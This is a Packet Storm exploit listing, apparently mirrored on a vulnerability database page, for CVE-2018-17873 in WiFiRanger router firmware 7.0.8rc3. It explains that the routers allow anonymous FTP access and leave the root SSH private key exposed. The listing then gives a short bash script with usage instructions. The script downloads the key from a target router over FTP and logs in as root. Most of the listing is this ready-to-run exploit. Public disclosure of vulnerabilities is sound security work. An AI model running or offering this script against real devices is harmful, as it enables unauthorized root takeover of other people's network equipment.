Lucene search

K
packetstormMitchel JordanPACKETSTORM:149867
HistoryOct 19, 2018 - 12:00 a.m.

WiFiRanger 7.0.8rc3 Incorrect Access Control / Privilege Escalation

2018-10-1900:00:00
Mitchel Jordan
packetstormsecurity.com
115

0.001 Low

EPSS

Percentile

48.8%

`# Exploit Title: WiFiRanger 7.0.8rc3 Incorrect Access Control - Privilege Escalation (POC)  
# Exploit Author: Mitchel Jordan  
# Date: 2018-10-18  
# Vendor Homepage: https://wifiranger.com/  
# Firmware: Phantom 7.0.8rc3  
# CVE: CVE-2018-17873  
  
# Details:  
# WiFiRanger indoor routers (Core, GoAC) and their outdoor paired routers (Sky Pro, EliteAC, EliteAC FM) running   
# firmware version 7.0.8rc3 and earlier allow anonymous FTP read/write access and have left the SSH Private Key  
# in the clear - making it a trivial task to view/copy the key and log in with root privileges.  
#  
# Adjacent network access required to exploit this vulnerability.  
  
# Exploit:  
# Extremely simple shell script that grabs the private key and logs in as root.  
#  
# Usage: ./wifiRangerPwn.sh <WiFiRanger IP>  
  
#!/bin/bash  
  
wget "ftp://$1/sbc/aff/id_rsa"  
chmod 600 id_rsa  
ssh -i id_rsa root@$1  
`

0.001 Low

EPSS

Percentile

48.8%

Related for PACKETSTORM:149867